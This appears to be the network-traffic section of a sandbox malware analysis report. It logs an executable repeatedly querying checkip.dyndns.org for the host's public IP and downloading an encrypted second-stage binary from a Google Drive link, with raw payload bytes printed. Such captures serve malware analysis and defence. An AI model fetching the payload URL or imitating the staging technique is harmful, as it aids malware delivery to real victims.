0	192.168.2.6	49987	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:15.746716976 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:20.434643030 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 22:40:20.443990946 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:40:21.404453993 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 22:40:28.107544899 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:40:29.391491890 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49990	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:30.523483038 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:40:31.318481922 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49992	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:32.291057110 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:40:32.964500904 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49994	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:33.922043085 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:40:35.593790054 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49996	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:36.433839083 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:38.105823994 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49999	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:39.086287022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:40.552428961 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50001	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:41.671372890 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:45.343734026 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 21:40:45 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50002	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:45.363451958 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:48.248415947 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50004	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:49.279896975 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:52.951751947 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 21:40:52 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50005	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:52.962630987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:40:57.146275997 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50007	132.226.247.73	80	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:40:58.139220953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:41:02.228669882 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:41:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49984	142.250.185.78	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:10 UTC	216	OUT	GET /uc?export=download&id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 21:40:10 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 21:40:10 GMT Location: https://drive.usercontent.google.com/download?id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-Hm24rbrXvbI89W57W26twA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49985	142.250.185.129	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:11 UTC	258	OUT	GET /download?id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 21:40:13 UTC	4941	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC5GcIR6-nXmNChrvX6-n31C_cTj3SqWhZBN1aqn0Y6PpglIm19JbsTQkm31xyBz2B74B7Il6PQ Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="VeXgAhFaHGK172.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 10 Dec 2024 07:19:36 GMT Date: Fri, 10 Jan 2025 21:40:13 GMT Expires: Fri, 10 Jan 2025 21:40:13 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=ydyAEw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 21:40:13 UTC	4941	IN	Data Raw: c5 86 f2 a6 37 a2 99 52 10 83 27 9c 84 27 6a 4a ce 01 5a 65 6b 67 16 eb c6 15 92 de 4b 78 7c 5e 23 d7 0e 98 5c 06 42 f0 ec a9 3c 15 99 46 f5 36 89 e8 6a 26 87 ba 93 e3 e0 bd 6c 38 41 20 49 f9 2a dd 96 2e 02 86 7e de bc e3 9c bd b6 0e 87 92 38 62 d1 4d ea d2 75 c3 97 10 d4 8a 29 5e 2b 28 bb c8 8e 46 43 53 67 c7 a5 98 17 b3 28 e1 79 e9 fa f3 16 a2 ab 20 88 90 35 d8 cb 8b 9c e0 80 fd 98 dc 6d bc ef f7 5c 8d 6f b8 b0 a7 9b 35 49 a4 fe 94 ab 24 e2 51 92 69 d3 fa 56 32 7a 7d 4c 5f 38 50 c0 bc 21 f6 e0 03 82 12 e9 b7 65 db 2f 11 74 ca 06 78 fc bc ad d4 b3 0e bc 6b 7b fd ad cd 54 a4 5b 40 cd de 0a 78 13 53 59 a6 4a 5d f4 e8 36 1f de 60 16 c8 a9 dc 29 41 80 eb 7f c3 19 d5 cf 7b bb cf 21 34 b0 57 d5 f8 f0 20 05 86 b3 83 11 d2 1b 11 7c 07 b1 60 89 8f c3 73 58 eb cf Data Ascii: 7R''jJZekgKx\|^#\B<F6j&l8A I*.~8bMu)^+(FCSg(y 5m\o5I$QiV2z}L_8P!e/txk{T[@xSYJ]6`)A{!4W \|`sX
2025-01-10 21:40:13 UTC	4815	IN	Data Raw: 7c e6 7a ec 22 47 0a c1 a3 d2 1d 51 57 0c 87 0a 78 8a 80 1d e3 9d 86 eb 05 47 64 76 df f7 47 4d 71 78 02 f2 79 96 68 3f 89 17 d6 0c 7c b0 06 4d 3e 53 4d 87 18 5b f3 96 b3 76 7b e1 64 4b f4 27 c4 82 a2 3d 89 e7 f5 62 e0 7c e7 be 60 64 d6 d4 03 b0 ca f1 03 20 0e 1f fe db fb cd 83 67 6c c6 c8 1f 72 a1 e9 ab 27 a5 28 21 08 1c 62 fd f4 5c 45 c3 41 d4 53 0a c0 16 13 4f fc 57 b8 88 af 78 52 41 49 51 8f 55 78 4d 5e bb ee db 79 9c 68 fa 5f ce 6c e2 52 74 ec f3 e3 2e 82 ac a2 dc d1 36 50 85 51 f6 f4 0c 91 ac 71 15 2b 96 d8 ae 32 22 47 b7 08 38 3f c1 b4 85 f8 d0 bb a8 f3 38 db b5 e5 13 d2 8a 0b 49 94 c8 43 9c 50 bc 26 cb 47 96 ae 32 9d 5b fb ca b3 0c 5a f8 0d ea 65 40 b0 80 aa e5 2f e4 00 94 29 52 bd 6b bf a7 da 06 83 82 df 62 c6 c7 07 26 6d a5 f3 dd 16 a7 be 64 4a Data Ascii: \|z"GQWxGdvGMqxyh?\|M>SM[v{dK'=b\|`d glr'(!b\EASOWxRAIQUxM^yh_lRt.6PQq+2"G8?8ICP&G2[Ze@/)Rkb&mdJ
2025-01-10 21:40:13 UTC	1323	IN	Data Raw: e2 52 7a 9c 81 93 65 f2 84 90 f4 00 30 3f b2 2c bc fe 24 d2 a9 67 1d 3f 4e d8 ae 3c 20 2d fa 7a 3c 3c e9 16 fb e5 da bb ae 84 24 b9 c8 d8 3b 95 8e 09 41 80 16 43 9c 5e 94 89 d9 47 9c d7 0d 09 5b ff c0 a0 21 4b fe 62 6c 55 42 ba 0b ad 8a b9 c0 00 9e 38 2c 9f 10 f9 a3 a9 95 fd d1 d5 71 c4 91 48 26 6d ab 8b 47 0e a3 df 76 4e a1 7f dd 7b b3 9c 4e 7e fe e5 b8 fa 04 b2 e6 1e 7f fa b3 e0 89 b6 25 89 f1 f1 1b 0c 78 fc 9f 60 46 f5 ca b1 aa 13 1d 26 ab a8 36 24 31 95 d0 60 81 26 b1 e1 73 c5 f2 9f de 0e d7 6c ae 58 f7 78 97 85 91 ba 39 a8 3a 3d be d2 b8 9e 03 44 fa b1 d3 58 64 01 93 23 95 e9 6c 05 cd 9d e9 45 67 31 67 82 d4 45 f8 fd 39 eb 27 4e ca 4d 32 65 ea 96 be 2d 55 21 8a 54 19 87 7f 2e b1 97 41 03 94 70 f4 9e 26 7f 0d 72 ae 49 16 ce 83 71 b1 3e a9 63 66 60 e5 Data Ascii: Rze0?,$g?N< -z<<$;AC^G[!KblUB8,qH&mGvN{N~%x`F&6$1`&slXx9:=DXd#lEg1gE9'NM2e-U!T.Ap&rIq>cf`
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: 23 09 a6 e8 1c 0f 89 d7 d8 ac f6 0a 8f 74 e2 72 cf 73 b4 a3 3a cb f6 2e b8 c5 1c 97 14 34 c7 ec d3 28 c2 0c 5b 2a fa 25 6c 05 cb 3d b7 15 15 51 76 fc f7 e7 d0 57 11 bf 2d 5d c4 3e 34 76 ed 83 a8 05 70 6d f1 18 13 07 74 06 62 93 41 1b 96 58 29 b4 26 75 05 47 b5 4c 11 5e 5d 7e 86 3c 57 64 6a 62 9b 7e 05 7a e0 70 f3 fd dd 5e 22 fa df 72 32 b4 c7 67 eb c3 38 16 1c 1a e6 97 90 cb 3e 1c 1a 6b f2 35 6d 46 bc 58 bd 80 52 51 55 0d cd 33 d6 f4 c6 a0 dd bf 0a d6 8e 37 f2 49 e3 28 da 5e 50 be f7 8d 72 5a c3 89 ab 54 ef f7 29 ae 2b 0d 5b 9c 81 41 e7 9e bb 22 37 91 fe d7 69 db 68 62 47 64 81 b6 ee 9c 80 fa 1a f9 ac df 36 04 81 aa 13 a5 1b 78 60 1f 72 50 54 46 74 07 3e 7d 5b 22 ab 26 7b d1 51 28 d1 93 b0 44 11 90 11 83 18 76 55 56 52 55 f3 60 ba cd 67 47 93 ad 60 66 75 Data Ascii: 